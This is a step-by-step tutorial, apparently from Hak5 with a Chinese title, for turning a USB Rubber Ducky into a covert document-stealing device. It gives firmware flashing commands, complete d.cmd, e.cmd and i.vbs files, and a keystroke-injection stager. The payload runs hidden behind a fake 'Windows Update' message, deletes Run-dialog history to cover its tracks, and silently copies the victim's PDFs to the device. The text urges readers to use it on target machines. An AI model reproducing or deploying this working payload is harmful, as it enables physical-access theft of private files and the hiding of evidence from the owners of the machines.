使用USB橡胶小鸭存储文件–说明了USB压缩
WHAT THE DUCK?
If you’re new to the USB Rubber Ducky, it is the original keystroke injection attack tool. That means while it looks like a USB Drive, it acts like a keyboard – typing over 1000 words per minute. Specially crafted payloads like these mimic a trusted user, entering keystrokes into the computer at superhuman speed. Once developed, anyone with social engineering or physical access skills can deploy these payloads with ease. Since computers trust humans, and inherently keyboards, computers trust the USB Rubber Ducky. So let’s go violate this trust…
YOU WILL NEED
- USB Rubber Ducky
- Linux box (e.g. Kali)
- c_duck_v2.1.hex
- dfu-programmer
- The duck slurp files
- The USB Exfiltration payload
- A Duck Encoder
FLASH YOUR USB RUBBER DUCKY TO THE “TWIN DUCK” FIRMWARE
Either using the dfu-programmer command and c_duck_v2.1.hex manually, or the ducky-flasher tool, flash the USB Rubber Ducky with this “Twin Duck” firmware from Midnightsnake to enable both USB HID Keyboard and USB Mass Storage. Begin by firmly holding down the micro push button on the USB Rubber Ducky while plugging it into your Linux computer and keep it held for around 5 seconds after connection. Then either run the ducky-flasher tool and follow the wizard, or use the dfu-programmer to manually erase, flash and reset the device.
sudo dfu-programmer at32uc3b1256 erase sudo dfu-programmer at32uc3b1256 flash --suppress-bootloader-mem c_duck_v2.1.hex sudo dfu-programmer at32uc3b1256 reset
RENAME THE MICRO SD CARD VOLUME LABEL TO “_”
Using gparted or Windows explorer, rename the USB Rubber Ducky’s Micro SD card volume label to “_” (sans quotes). This will save characters and thus make our our stager payload faster. The easiest way to rename the volume label is from Windows Explorer. From “My Computer” select the drive and press F2. Type _ and press enter. Done.
COPY THE STAGED PAYLOAD TO THE ROOT OF THE NEWLY RENAMED MICRO SD CARD
You’ll need 3 files and 1 directory — d.cmd, e.cmd, i.vbs and a “slurp” directory. Our stager will execute d.cmd from the root of the drive with the volume name “_”. In this case d.cmd will invisibly execute e.cmd using the i.vbs.
D.CMD
@echo off start /b /wait powershell.exe -nologo -WindowStyle Hidden -sta -command "$wsh = New-Object -ComObject WScript.Shell;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}')" cscript %~d0\i.vbs %~d0\e.cmd @exit
E.CMD
@echo off @echo Installing Windows Update REM Delete registry keys storing Run dialog history REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f REM Creates directory compromised of computer name, date and time REM %~d0 = path to this batch file. %COMPUTERNAME%, %date% and %time% pretty obvious set dst=%~d0\slurp\%COMPUTERNAME%_%date:~-4,4%%date:~-10,2%%date:~7,2%_%time:~-11,2%%time:~-8,2%%time:~-5,2% mkdir %dst% >>nul if Exist %USERPROFILE%\Documents ( REM /C Continues copying even if errors occur. REM /Q Does not display file names while copying. REM /G Allows the copying of encrypted files to destination that does not support encryption. REM /Y Suppresses prompting to confirm you want to overwrite an existing destination file. REM /E Copies directories and subdirectories, including empty ones. REM xcopy /C /Q /G /Y /E %USERPROFILE%\Documents\*.pdf %dst% >>nul REM Same as above but does not create empty directories xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.pdf %dst% >>nul ) REM Blink CAPSLOCK key start /b /wait powershell.exe -nologo -WindowStyle Hidden -sta -command "$wsh = New-Object -ComObject WScript.Shell;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}')" @cls @exit
I.VBS
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
Finally create the slurp directory on the root of the Micro SD card labeled "_"
ENCODE THE STAGER PAYLOAD
Now that the firmware is flashed and the staged files are in place, we’re ready to setup the stager. This will be a very quickly executing ducky script which calls the files on the Mass Storage drive in order to copy files from the users Documents folder.
REM USB Exfiltration Payload from Hak5 episodes 2112 - 2114 REM Target: Windows XP SP3+ Author: Hak5Darren Props: Diggster, Midnightsnake DELAY 1000 GUI r DELAY 100 STRING powershell ".((gwmi win32_volume -f 'label=''_''').Name+'d.cmd')" ENTER
Save this as a standard ASCII text file ready to be encoded by any number of the Ducky Script Encoders, such as the command line Java encoder, the GUI Java encoder, the command line Python encoder/decoder or the Online Ducky Script Encoder.
Finally copy the resulting inject.bin file to the root of the Micro SD card. You should now have 4 files and 1 directory on the root — inject.bin, d.cmd, e.cmd, i.vbs and the slurp directory.
That’s it! Plug the newly configured USB Rubber Ducky with the Exfiltration payload into the target machine and in seconds it will begin invisibly copying files from the user’s Documents directory. Of course all of this can be customized and configured by altering the cmd files on the root of the Micro SD card. By default PDF files will be copied to the slurp directory in a new directory named after the hostname and US date and time stamp. Enojoy!
WHAT NEXT?
Now that you’ve created a USB Rubber Ducky capable of exfiltrating documents, perhaps you’d like to check out some other popular payloads – like the 3 Second Reverse Shell with a USB Rubber Ducky, or Pilfering Passwords with the USB Rubber Ducky – a 15 Second Password Hack, Mr Robot Style. Now go forth a duck ’em!